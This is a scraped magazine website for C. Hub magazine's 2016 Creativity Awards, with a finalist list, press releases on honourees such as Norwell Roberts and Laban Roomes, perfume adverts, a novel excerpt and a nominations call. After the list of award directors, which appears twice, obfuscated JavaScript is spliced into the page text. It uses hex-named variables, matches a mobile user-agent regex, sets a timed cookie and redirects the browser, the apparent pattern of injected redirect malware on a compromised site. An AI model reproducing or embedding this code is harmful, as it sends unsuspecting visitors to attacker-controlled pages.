CA award 2016 finalists, the full list .

CA award 2016

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London, 09/08/2016, CA award 2016 finalists, full list.
CA award 2016The second edition of C. Hub magazine Creativity Awards 2016 (CA Award), is set to be the big banger of the year. The crème of UK and global Afro-Caribbean creative industry are being confirmed to be there.
With over 52 categories, over 100 finalists, 6 ICON recipients and 3 Legend recognition recipients. CA award has come to be the most prestigious award recognising the creativity and positive contributions of Afro-Caribbean descents across the globe. The Annual event will be held at a lavish dinner on the 19th November, 2016 at Hilton Hotel Tower Bridge London. Hosted by renowned Hollywood actor, Dr Winston Ellis and Ms Patricia Stephanie .
Emeka Anyanwu, C. Hub magazine publisher and CA award creator said, “I’m very proud of this year’s recognition recipients and award nominees. Even more of our award independent Directors who have worked so hard to ensure transparency and excellence in our selections. This is just the beginning for CA award.”
On behalf of the Directors, Dr Brighton Chireka and Chief Ayo Oyebade jointly stated, “we are proud of the transparent and thorough selection process undertaken for 2016 CA award honouring creative and innovative excellence. This year’s finalists are chosen from the overwhelming entries we received and it is incredible achievement on it’s own.”

Tickets and press pass can be obtained here.
This years recipients and award finalists are

Legends Recognition recipients
1. Norwell Roberts (QPM).
2. Prof. Donna Kinnair (OBE)
3. Lord Dolar Popat

ICON Recognition Recipients
1. Laban Roomes
2. Vivian Timothy
3. Peter Hogan
4. Marjorie Ngwenya
5. Willy Mutenza
6. Ismail Ahmed

2016 Award nominee finalists

BEST EVENT
Vocals and Verses
Mr & Miss Nigeria UK
Inspirational U
Miss Pride of Africa

BEST EVENT ORGANISER
Michaelene Holder-March
Sonia Meggie
Ron Biggz
Cecilia Marquis

Best Event Host /MC
Melanie Gayle
Sonia Meggie
Victor Oluwole
Michaelene Holder-March

BEST BRAND
Leo Management
BlacknBold Group
Dentaa Amoateng

BEST BUSINESS
MHM Health Consultancy
(http://www.mhmhealthconsultancy.com/
MDC Design Group – www.mdcgroup.co.uk
Fero Media
Genistar (http://genistar.co.uk/)

BEST ENTREPRENEUR
Karine Laudort
Michaelene Holder-March
Tricia Vanessa Blake
Dean Williams

BEST START UP
Sandra Brown-Pinnock
Bianca Miller
Pepper Fruit Ltd
Charlene Cumberbatch

FEMALE FASHION DESIGNER
Afua Sam
Grace Wallace
Feyisola Adeyemi
Yvonne Yvette
Lydia Cutler

MALE FASHION DESIGNER
Romero Bryan

BEST FASHION ACCESSORIES
Maryse M’bo Ako
Akosua Afriyie-Kumi

BEST FASHION STYLIST
Keisha Des Vignes
Emmanuel Keezy Karo (Plush Styles)
Siphiwe Zwane Ofori

BEST MALE MODEL
Samuel Bravo
Samuel Yeboah
Victor Momoh
Giuseppe Nkansah

BEST FEMALE MODEL
Letitia Kapuscinska
Aramatou Toure
Trishna Fearon
Manisha Coleman

BEST MODEL AGENCY
New Generation Exquisite Model Management (Ngem Ngem)
UNRTHDX Talent Agency
Damilola Siyanbola

BEST MOVIE
Basira in London – Philippa Abraham
Ibu in Sierra Leone. – Collins Archie-Pearce
Return of The Don. – Malcolm Benson
Golden Love – Helen Atim
Heaven – Samuel Bravo

BEST MALE PRODUCER
Malcolm Benson
Kunle Afolayan
Collins Archie-Pearce
Samuel Bravo

BEST FEMALE PRODUCER
Philippa Abraham
Helen Atim

BEST MALE ACTOR
Ken Smart
Paul Van Beaumont
Solomon Taiwo Justified
Samuel Bravo.

BEST FEMALE ACTOR
Taiwo Odebode
Melanie Gayle
Nnenna Ani

BEST ANIMATOR
Eguvwe Yugbovwe
Dotun Ogunsakin
Ebele Okoye
Alex Pancras

BEST ANIMATION
Aje vs Kpako- Eguvwe Yugbovwe
Legacy of Rubies – Ebele Okoye
Nubuke (a new dawn) – Bismark Aryee

BEST CINEMATOGRAPHER
Normen Luzinsky
Eric Myers.

BEST PUBLIC SPEAKER
Funke Abimbola
Allan Sealy
Dickson Alero
Michaelene Holder-March

BEST COMMUNITY LEADER
Yetunde Adeshile
Bassey Ikpi
Sonia Meggie
Jenni Chika Okafor.

BEST MENTOR/COACH
Placida Acheru
Daryl Harper
Dean Williams
Michaelene Holder-March.

YOUNG ACHIEVER
Claudine Adeyemi
Ariane Takyi
Gertrude Asumadu
Abdulai Kabba

BEST DJ
DJ Mahama Abubakari

BEST FEMALE ACT/SINGER
Mellonie Page
Ijeoma Amazin
Darlene Madu

BEST MALE ACT/SINGER
Owen Reid
Peter Adeshile
Patrick Onen (Hyper Hype)

UPCOMING ARTIST
Letitia Kapuscinska
Kieyen Iloyi

BEST GROUP ACT
Shiikane Shiikane

BEST DANCER
Ayo Rufai
Rawlings Armah Adams.

BEST SPOKEN WORD ACT
Panya Banjoko
Bassey Ikpi

BEST COMPOSER/MUSIC ARRANGER
Anthony Everest
Edewede Oriwoh

BEST VLOGGER
Duchess Cleo Moyo
Coleen Mensa
What Dawn Did in Heels

BEST BLOGGER
Noellin Imo-Griffiths
Feyisola Adeyemi
Anthony Everest

BEST ONLINE MAGAZINE
Tropics Magazine
Hugh Magazine
African Dazzle

BEST ONLINE TV/SHOW
Born To Model
Chanise Thompson
Lorenzo Video

BEST TV PRESENTER
Noellin Imo- Griffiths
Chanise Thompson

BEST RADIO PRESENTER
Hyper Hype
Danny Erskine.

BEST MAGAZINE EDITOR
Venicia Guinot
Noellin Imoh-Griffiths
Duchess Cleo Moyo
Phinnah Ikeji

BEST WRITER
Anthony Everest
Bernadette Kerr
Dike Chukwumerije
Phinnah Ikeji

BEST AUTHOR
Allan Sealy
Ferdinard Lawson
Ibitola Ojoye
Godwin Okri

BEST FICTION WRITER
Caroline Bell-Foster
Ibitola Ojoye
Chioma Nnani
Richard Botchwey

BEST NON-FICTION
Career Nuggets (Morenike Ajayi)
Women in Leadership (Dr Shola Mos-Shogbamimu)
Cherish Me Journal – (Carolyn Clark)
Opening Up or Shutting Out (Funke Abimbola and Co.)

BEST PUBLICIST/PR
Venicia Guinot
Karine Laudort
Ronke Lawal
Ayodele Adepoju

BEST PROMOTER
Hyper Hype
Danny Erskine
Ron Biggz

BEST PHOTOGRAPHER
Des Richards
Smollett Kalua
Sandra Nwokocha
Damilola Siyanbola

BEST VIDEOGRAPHER
Christabell Leonard Peters
Mr gee /superstarvideos Gareth
Lorenzo videos

BEST FINE ARTIST
Rita Kappia
Olaniyi Akirash Akindiya

BEST GRAPHIC DESIGNER
Hanif Shahad
Onyinye Iwu

BEST MAKEUP ARTIST
Trish Rawlins
Karen Messam
Sandra Shamu
Keisha Des Vignes.

BEST FITNESS COACH
Kelechi Okafor
Gina Obeng
James Comley

ABOUT C. Hub Magazine
C. Hub magazine is the first and only Afro-Creative magazine in the UK. The international high-end magazine is one of the most respected voices of creativity in the UK. The quarterly publication is available online, on print and on the App Store.

ABOUT CA AWARD
Also known as Creative African award or C. Hub magazine Creativity Award captures C. Hub magazines vision to project and spotlight the best of Africa and Caribbean talent, innovation and creativity. The annual event is the most prestigious and respected accolade for creativity.

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Pearlwoman August issue cover graced by Serena Williams.

The world at her feet, Serena Williams continues to dominate the world of Tennis.
However, it’s not just the world of Tennis that’s being dominated by women. Politics and world leadership is now women’s footstool as you will find in this highly  loaded quality content issue.
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Women are finally taking their place in world leadership. Cover graced by world no.1, Serena Williams, we bring you detailed and intelligent views on different areas where women have moved another step further.
From Theresa May, to Angela Merkel and Hillary Clinton, women are unapologetically changing the rule of the game.
We did not leave out fashion too as in this time, masculine dressing is no longer a woman’s definition of power dressing and has nothing to do with establishing a woman’s authority and or professionalism.
Despite the progress, women are still vilified and abused in several cultures. Check out our hot topics on the discussion about childlessness.
On beauty, we take a look at the top 8 natural skincare brands you must try out now and they’re all so sweet. Hard to decide which is the bomb. See for yourself.
This is the issue you must read. All free, available on print, online and app store. – www.pearlwomanmag.com
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Chamy Perfume

Chamy ad pink.

Cruelty free scent formulated with a mixture of organically sourced essential oils.

CHAMY Eau de Perfume is a high quality perfume that cuts across a generation of women, culture and race, made with 100% natural and organic essential oils. The long lasting Chamy scent means that you can rely on the powerful yet alluring fragrance all day.

CHAMY is inspired by the life, glamour, culture and the success of women, an expression of the modern woman’s independence , strength and impeccable taste. The luxury and stylish packaging gives a beautiful compliment to a savvy woman’s look.

The timeless and alluring beauty and exceptional quality of CHAMY makes it the most desired gift you can use to express the depth of your love and commitment to the woman you love. When you can’t find the right words, #SayitwithCHAMY
Twitter: @Chamy_perfume
Website: www.chamyperfume.com
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Divas of colour Author 2016 winner reaches top 30 with her latest title.

distractingMarch this year, Caroline Bell Foster won the Diva author of the year at the prestigious Divas of colour International women’s forum. 3 months on, she has released her 8th novel, Distracting Ace which has  reached Top 30 Amazon UK and Amazon.com Top 20 in multiple categories.  Get some peak into the story od love, romance and life, Distracting Ace,  as shared by the award winning author, Caroline Bell Foster.

Blurb

 

A kiss. A promise. A mistake.

Hollywood stuntman Ace had life changing decisions to make and time was running out. Bleakly, he saw a future of always being different, that was, until he met British beauty Nina Mae. Her enthusiasm for life was addictive.

Rich, party girl, Nina Mae was in love. But a demand to come home early and a simple mistake, changed the course of both their lives.

Would she ever get back to America? Or were they destined to be two people who met and enjoyed one unbelievable weekend, tied by the repercussions of those hours. Or was she simply his distraction?

Excerpt

“Tell me about your life Nina Mae.” Ace invited.

“I’m a golden child. Very much a daddy’s girl and a mummy’s darling.” She began conversationally, not the least bit embarrassed by her admission. “Spoilt. An only child of only children. There’s just my mum and my dad and little ole me, but I’m not a brat.” She told him. “I’m an Essex girl. Do you know what that is?”

“No,”

She smiled at him. “You’ll have to visit me in England to find out.” She went on. “Are you going to dance with me?”

He scowled. “No.”

“Why not?” She pressed.

He crossed his arms over his chest and frowned at her again, Nina realised it was his way of telling her to shut the hell up.

“Let’s play a game,” she said instead, determined to get her own way. “If I win we dance and if you win you get to ask whatever you want.”

Ace pulled in a deep breath and let it out in a noisy whoosh. Why was he still here, he thought, but already knowing the answer. She wanted him, had made it damn obvious with all the nervous chatter and hair flicking. She was desperate enough to keep him guessing and he was curious enough, egotistical enough, to want to know how this would play out. “What’s the game?”

“Things that go together,” she explained. “But as pairs.”

“Pairs?”

“Yeah. For example I have to say something that is always referred to in a pair, like Kings and Queens and bricks and mortar, things like that.”

Ace shook his head, he’d never come across anyone so complex and playful in his life. But he was game. The pub was emptying and if he lost, it would be no hardship to wheel around by the table pretending to dance. Jesus Christ, this is what his life had become, playing fucking party games to get his ego stroked.

“You start,” he ordered. “Wait,” he held up his hand. “How many pairs to win?”

“How about until one of us stops?”

“Cool.”

“Left and right. Your turn.

This was going to be so easy he thought. “Brush and comb.”

They played for almost fifteen minutes, Ace was really getting into it, but knew he was going to lose. She was just too good and too fast. He eventually faltered and she clapped her hands, declaring herself the winner, of course. His lips twitched into a smile.

“Come on.” She stood quickly, eagerly heading over to the dance floor, but turned back when she saw that he hadn’t moved.

“Not out there,” he said. “Here.”

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Laban Roomes to receive ICON Recognition at C. Hub magazine Creativity Award.

Laban Roomes to receive ICON Recognition at C. Hub magazine Creativity Award.
Laban Roomes

London, 30/06/2016. Laban Roomes has been confirmed to be recognised with an Icon award for his bravery and outstanding creativity in enterprise .

In October of 2007, Laban pitched his gold-plating technology, Goldgenie – and market traction – live on the BBC investment pitching programme ‘Dragon’s Den’. He successfully acquired funding, as well as new guidance in James Caan, founder of recruitment organisation Alexander Mann, executive head-hunting firm Humana International and private equity company Hamilton Bradshaw. Laban had also made a lifelong friend and business partner. In 2012 and wanting to expand the business in a different direction Laban made a brave move and purchased all of his shares back from James Caan making himself 100% owner of Goldgenie again.

The highly-acclaimed entrepreneur and founder of international luxury gift and gold customisation business Goldgenie is also an active social philanthropist.
Born and raised in East London to parents of Jamaican descent, Laban aspired to entrepreneurial work from the moment he started school. From the age of nine, he set up his own business cleaning cars, cutting hedges: anything to bring in some extra money to support his family.
At age twelve, Laban was already bringing home more from his out-of-school revenue streams than his mother earned through her full-time position at a local factory. By the time he was nineteen, Laban had paid off the mortgage on his family’s home and established an international business exporting vehicles to Jamaica.
Being no stranger to adversity Laban, while touring the USA, family circumstances forced his business partner to liquidate the export business’ assets. He returned home to the UK with £80 in his pocket and no prospect of a roof over his head. For nine months – while sleeping on a friend’s floor – he worked tirelessly to realise an entrepreneurial vision that had struck him in the States. In 1995, Goldgenie was born.
Laban designed and manufactured an innovative gold-plating process: one which is still at the heart of Goldgenie’s work today. Among his first clients were Bentley, Rolls-Royce, Honda, Toyota and Lexus, who rapidly adopted Goldgenie as their go-to provider for luxury vehicle detailing, emblems and interior aesthetic elements.
Gradually, Laban expanded Goldgenie’s activities to encompass a wide range of consumer-facing industries: telecommunications, jewellery, sports gear, home hardware: his pioneering gold-plating technique saved suppliers huge sums of money, while maintaining the quality necessary in the highest-end luxury products. His growing fame earned him an invite to distribute Goldgenie’s products at the 2006 Emmy awards in America, exclusive rights to the plating of Hindu artefacts in a London temple, and the acclaim and mentorship of Yo! Sushi founder Simon Woodroffe (OBE).

Since then Laban Roomes has attended and supplied luxury gifts in person to the Oscars, created luxury ranges of iPods and iPhones for a host of celebrities such as the Beckhams, Floyd Money Mayweather, Usain Bolt, Mark Wahlburg, Clint Eastwood and Will Smith, to mention just a few.

The company has also launched initiatives and campaigns to raise money through donating a percentage of the company’s luxury gift sales to raise much needed cash for several charities including the Elton John Aids Foundation (EJAF) the Teenage Cancer TRUST and SOS Children’s Villages.
Laban has also gone on to win the Great British Entrepreneur, the coveted Lloyds TSB – FSB Entrepreneur of the year award and been accredited by the British jewellers association for the luxury Gold embellished gifts and devices his company sells.

Lately, Laban has focused his energies on franchising Goldgenie abroad, as well as mentoring younger entrepreneurs and start-ups (who he has referred to as “the lifeblood of industry and commerce”) and as Laban describes in his own words “Not everyone has the willpower to consistently inspire themselves, everyone needs in their life at least one person who believes in them, that can help unlock their true potential”.
Speaking of his receiving CA award ICON recognition, Laban said, “It’s always good to be recognised for your hard work and the positive effect it has had on others and your environment. I receive this recognition with love and dedicate it to all the entrepreneurs out there who have had the courage to take their destiny into their own hands and thrive.”

Faustina Anyanwu, C. Hub magazine Editor in Chief said, “CA award is not just and award. It is a movement to search out the BEST of the best within our communities. This is the surest way to inspire and encourage innovation and creativity. People like Laban brings the rhetorics of ‘anything you can conceive you can achieve. His profile and this recognition will not only inspire our younger ones but will also create a sense of pride and esteem. We are extremely proud of his achievements and are happy to be associated with such talent. That is what C. Hub magazine creativity Award is all about.”

ABOUT CA Award .
CA award is C. Hub magazine Creativity Award, an initiative to recognise and celebrate the best of the best of creative talent within African and Caribbean community. In the shortest time, CA award is the most prestigious and most desired accolade for Afro-Caribbean descents around the world.
2016 award will be held at a lavish dinner at Hilton Hotel Tower Bridge London. Tickets and nominations are now on. www.chubmagazine.com/events

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CA award Directors: Prof. Rotimi Jaiyesimi, Emeka Anyanwu,Michaelene Holder- March, Eze Ihenacho, Faustina Anyanwu, Dr Brighton Chireka, Sarah Graham, Ayo Oyebade, Geoffrey Odur.bw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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Press Release: Norwell Roberts QPM to receive legend recognition at CA award 2016.

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Norwell Roberts QPM to receive legend recognition at CA award 2016.

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London, 24/06/2016. Norwell Roberts QPM to receive CA award legend recognition

C. Hub magazine today announces the decision to award Norwell Roberts with the highest category of the Creativity Award, Legend award in recognition and honour of his selfless and long dedication to the safety of the Community and his determination to pave way for the next generation.

Roberts has been associated with several firsts. He is the first black police officer to join the Metropolitan Police, first black member of the CID, the first black officer to serve 30 years, the first black undercover officer and the first black police officer to be awarded the Queen’s Police Medal.

Roberts also ran an attendance centre in Mill Hill for young offenders on weekends. Roberts has lectured at Universities,schools and colleges around the UK.

Roberts received police commendations on three occasions, one of which was for his involvement in 1985 when he was part of a squad who arrested five people in six days for a contract killing. Metropolitan Police Commissioner, Sir Robert Mark praised Roberts’ contribution towards better relations between white and black communities.

Mr Norwell subsequently was awarded the Queen’s Police Medal for distinguished service in 1995.

On 15 March 1996, Roberts attended Buckingham Palace where he was presented with the medal by Prince Charles. During the presentation, Prince Charles told Roberts that , “We need more people like you.”

Despite stiff challenges and racism, Mr Norwell’s determination was never shaken. When he made the decision to join the Metropolitan Police in 1967, aged 21, Roberts became a target of both public and media scrutiny. He became the most conspicuous officer and his every move would make headlines .

Receiving the news of his appointment to receive the highest recognition at the prestigious C. Hub magazine Creativity Award which celebrates and recognises the best talent and contributions of African and Caribbean creatives globally; he said, “I am indeed humbled by your decision to present me with this award. I was at Hendon Training School on Friday 10th of June, at the Last Passing out Parade and was so pleased to be approached by many Black and Asian Officers of all ranks who wanted to meet me knowing that I was the first Black Man to join the Metropolitan Police in 1967.

As you can imagine it was not easy. I had to succeed, because I had to prove to myself and others too that one can attain and achieve whatever they want by resilience and determination whilst in the face of severe adversity. I would like to thank those who suggested me for consideration.
I really look forward to the occasion.”

Emeka Anyanwu C. Hub magazine publisher and the awards organiser said, “We are extremely glad to have Norwell Roberts to be one of our highest award recognition recipients this year. He is the epitome of what CA award stands for. C. Hub magazine Creativity Award is the most prestigious platform to thoroughly reflect, recognise, celebrate and highlight the great talent and creativity of African and Caribbean men and women. This cannot be overstated how talented and the immense contributions that people of African and Caribbean make in the betterment of our world which are often overlooked and brushed aside. We can no longer wait by the side hoping that anyone else should take the responsibility of giving our people a pat on the back.”

About CA Award :

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CA award is C. Hub magazine Creativity Award created to further cement the vision and mission of C. Hub magazine which is to inspire, celebrate, challenge and encourage creativity within African and Caribbean communities as well as create a platform for the younger generation of creatives to be discovered and encouraged.

CA award is the most prestigious and most valued accolade that focuses on all aspects of creativity, careers and enterprise, held annually in London receiving over 500 guests from around the world.

The 2016 award will see over 50 highly talented individuals from different sectors recognised at a lavish dinner on the 19th November, 2016 , at Hilton Hotel Tower Bridge London. Nominations for general categories are now open to the public. For ticket and more details please visit – www.chubmagazine.com/events . Or join the conversation and updates on twitter – @C_hubmagazine, hashtag = #CAaward2016.

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CA Award Directors

Prof. Rotimi Jaiyesimi, Emeka Anyanwu,Michaelene Holder- March, Eze Ihenacho, Faustina Anyanwu, Dr Brighton Chireka, Sarah Graham, Ayo Oyebade, Geoffrey Odur.bw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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Press Release: C. Hub magazine appoints CA award independent Directors

CAawarddirector1London, UK. 19/06/2016. C. Hub magazine appoints Independent Directors for CA award 2016.
To maintain its prestige and high rating, CA award has brought in highly respected professionals to oversee the affairs and determine the smooth running of this year’s award. The C. Hub Magazine Board of Directors verifies that the need for independent Directors to meet the impartiality and independence requirements for CA Award from hereon. The CA Award Independent Directors met on the 18th June 2016 under the chairmanship of Michaelene Holder-March and carried out an assessment to determine the independence of its Directors, Terms of Reference, policy /standards for the future of CA Awards including the nominations and the selection process.

The 9 member committee has vowed to make sure the standard of CA award is brought to the highest possible class. The following are the list of independent directors who are all highly regarded within their field of work and beyond: Professor . Rotimi Jaiyesimi, (Associate Medical Director for patient safety.), Michaelene Gail Holder-March (Healthcare executive), Emeka Anyanwu (Publisher and Entrepreneur), Chief Ayo Oyebade (Film producer actor and Accountant), Eze Ihenacho (Renowned author, philosopher and Mental Health practitioner), Faustina Anyanwu (Chief Editor C. Hub magazine and Entrepreneur), Dr Chireka Brighton (GP and Medical Director) , Geoffrey Odur (Housing professional and Entrepreneur), and Sarah Graham (Dental Nurse and Secretary).

The Director’s Chairperson, Michaelene Holder-March said, “These accomplished executives, who have varied expertise combined with their personal thrive for building and engaging our communities together for betterment of African and Caribbean people and their descendants; will provide invaluable perspective to CA Award Board of Directors who will continue to build on their strong momentum by continuously working to recognise hard working and great contributors of our society.”

We are in the right direction with the independent Directors. With them at the helm of affairs, we can boast of the credibility of the award as not just another award but one that the receivers will be proud of. These are highly talented individuals brought together around a common sets of values and beliefs. I’m so excited for this year’s CA award.” – Emeka Anyanwu, Publisher C. Hub magazine.

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About CA award

CA award (CREATIVE AFRICANS AWARD also known as CREATVITY AWARD) is a C. Hub magazine initiative to further cement the purpose of C. Hub magazine which is to promote, recognise, inspire creativity and innovation within the African and Caribbean community. Now in it’s second instalment, CA award has fast become the most prestigious and desired award by any creative achieving individual in the wider African and Caribbean community within and beyond UK.

CA award is strategically positioned to attract high quality, respectable achievers, the creme of people of African and Caribbean origin, the hardest to reach audience who are the drivers of the communities market. CA award is a huge platform for creative, entrepreneurs, and career individuals. Nominations are now open to the public and the award ceremony will be held at a lavish dinner on the 19th of November, 2016 at the magnificent Hilton Hotel Tower Bridge London. To nominate or for ticket information visit the event page on; www.chubmagazine.com/events .

About C. Hub Magazine.

C. Hub magazine is the first and only Afro-Creative magazine in the UK. The leading voice in creativity and innovation news and lifestyle coverage targeting the high performing men and women of African and Caribbean origin. C. Hub magazine has been awarded the most informative African magazine in the US by the Extra-ordinary people US and Best magazine of the year at BEFFTAs UK.

C. Hub magazine continues to lead and set precedent in spotlighting and promoting creativity, talent and African heritage in the diaspora . C. Hub magazine is available on print, online and on the App Store.

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Faustina Anyanwu opens up exclusively on her experience with Domestic violence on Justeve show, ABN TV

In this revealing exclusive interview with Evelyn Obahor, Faustina opens up as never before on her childhood experiences with domestic violence.  Listen to the very emotional account in the video below.

 
It is said that children are the real victims of domestic violence. Their suffering goes beyond physical damage, but they go through a great deal of psychological and emotional struggles.
With the help and support of her maternal grandparents, Faustina was able to overcome her traumas  to become who she is today.
Faustina will not be granting any more interviews on this part of her life story but, is happy to contribute and or speak  on topics regarding domestic violence as it affects children, the real ordeals of victims and how best to help them overcome.
For more about Faustina Anyanwu and the work that she does;
Follow her on Twitter: @fauntee
Visit her websites – www.faunteebon/weebly.com
                – www.about.me/fauntee .
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Press Release: CHAMY Perfume Introduces Newly Repackaged luxury Sparkle Scent.

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All-new “luxurious packaging” of the fragrance that “speaks to every woman” wows with fashionable and stylish characteristics.
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Milton Keynes, United Kingdom – June 2, 2016 – Appealing to a wide generation of women and exuding characteristics that have garnered the attention of a myriad of cultures and races, CHAMY Eau de Perfume has become recognized by its legions of fans for not only its powerful yet alluring scents, but also for the 100-percent natural and organic essential oils in its products.
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CHAMY recently announced a repackaging campaign for its premium Sparklescent, the alluring fragrance now offered in “luxurious packaging” that is both fashionable and stylish.

“CHAMY was – and continues to be – inspired by the life, glamour, culture and success of women everywhere…an expression of the modern woman’s independence, strength and impeccable taste,” says CHAMY Eau de Perfume spokesperson. “A CHAMY woman is determined, yet never overbearing, and the new luxurious and stylish packaging encompassing our Sparkle fragrance, provides a beautiful complement to this determined, savvy woman’s look.”

The summer Bold entrance campaign is fronted by two young and successful International models, who are truly definition of the modern global woman. The models captures the global essence of CHAMY perfume, cutting across ages, culture and style of a world class woman.

Say it with Chamy

19 year old Kiane Ashman -Swaby a Jamaican super model, winner of Top Model of Colour season 8 exudes the boldness CHAMY Sparkle offers you from red carpet to centre stage, the confidence to see the world as your runway all day everyday.

20 year old Ukrainian International model Olga Klimova carries that enchanting, romantic aura of the CHAMY sparkle. A drizzle of powerful sensual elegance of CHAMY perfume that draws all the attention for all the good reasons.

About CHAMY

CHAMY Perfume represents an authentic, desirable and luxury-oriented brand for women who know their worth. The timeless and alluring beauty – and exceptional quality – of CHAMY makes it the most desired gift a distinguished gentlemen could give to express the depth of his love and commitment to the woman he cherishes. Indeed, when the right words can’t be found, #SayitwithCHAMY.

CHAMY Sparkle is available in a number of package options including box sets via CHAMY’s website, at www.CHAMYPerfume.com. Follow CHAMY on twitter – @Chamy_perfume

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Pearlwoman summer issue out now starring on the cover model, Gayle Ngozi

PW53dcover2Starring the Nollywood fastest rising star actress , supermodel and TV goddess, Gayle Ngozi. Bringing you exclusively her journey, experiences and tips to succeeding in the fastest moving industry. How does she combine the being a stand out in both 3 fast paced industries?
Beauty and brain, the epitome of savvy Londoner is a pleasure to read. Young, talented and all round lovely.
And we bring you the powerfully eloquent profile of a wonder woman who defies all odds to get to the top in the UK most competitive Law industry. Funke Abimbola is a diversity champion, mother, sponsor and multiple award winner. Every woman must read about her.
Looking your best in London summer for professional women? We’ve got it all sorted . Fashion , health and beauty.
Oh! And the hot topic is focused on Domestic Violence. How much do you know? How much do you want to know? Have you been in an abusive relationships? Do you Know anyone in one? Get all the reactions and opinions.

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C. Hub magazine announces call for public nomination for CA award 2016.

Press Release London, 04/05/2016

C. Hub magazine announces call for public nominations for the 2016 CA award.

CA Award nomination openCA award  nominations are now open and the general public may submit their candidates through the online form on C. Hub magazine website. The global annual award recognises the outstanding contributions of African and Caribbean talents in the creative, career and entrepreneurial sector. The winners will be awarded during a lavish dinner on November 19, 2016 at Hilton Hotel Tower Bridge London.

From May 10 until August 10, 2016, members of the public will be able to nominate their candidates for the 2016 CA award . As soon as public nominations close in August, the award Directors will then shortlist a maximum of 4 finalists for each category. Thereafter, public voting will commence. However, Award Directors will have the exclusive right to submit candidates for possible recognition under the two special categories – Legend and ICON recognitions. To nominate click here – www.chubmagazine.com/events

RECOGNITIONS

Creative Legend

Creative Icon

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CATEGORIES OPEN TO PUBLIC NOMINATION.

1.EVENTS

Best event

Best Event organiser

Best event hospitality hostesses

Best Event Host/MC

2. MODELS

Male Model

Female Model

3. Fashion and style

Female fashion designer

Male fashion designer

Accessories designer

Best fashion stylist

4. MOVIES AND FILM

Best Movie

Best Male producer

Best Female producer

Best female actor

Best Male actor

Best Cinematographer

Best Director

Best script writer.

5. Community and lifestyle

Best Public Speaker

Best Community Leader

Best mentor/coach

6. MUSIC AND PERFORMING ART

Best DJ

Best Artist

Best Performer

Best upcoming artist

Best Dancer (solo)

Best Dance group

Best spoken word artist

7. Broadcast Media- TV and Radio

Best TV channel

BEST TV presenter

Best TV show

Best radio Presenter

Best radio show

Best Radio station

Media personality of the year

8. ONLINE MEDIA

Best Vlogger

Best blogger

Best Blog

Best Online magazine

Best Online editor

Best Online TV

9. PRINT MEDIA

Best magazine editor

Best News editor

Best Column writer

Best writer.

10. Literary and Publishing.

Best author

Best fiction

Best non-fiction

Best publisher

11. BUSINESS AND ENTERPRISE

Best Business

Best brand

Best entrepreneur

12. VISUAL ART

Best Photographer

Best photographer

Best fine artist

Best Graphic designer

Best makeup artist

13. Publicity and Branding

Best PR company

Best Publicist/Promoter

Sports

Sports personality of the year.

Best Fitness coach

Note to Editors.
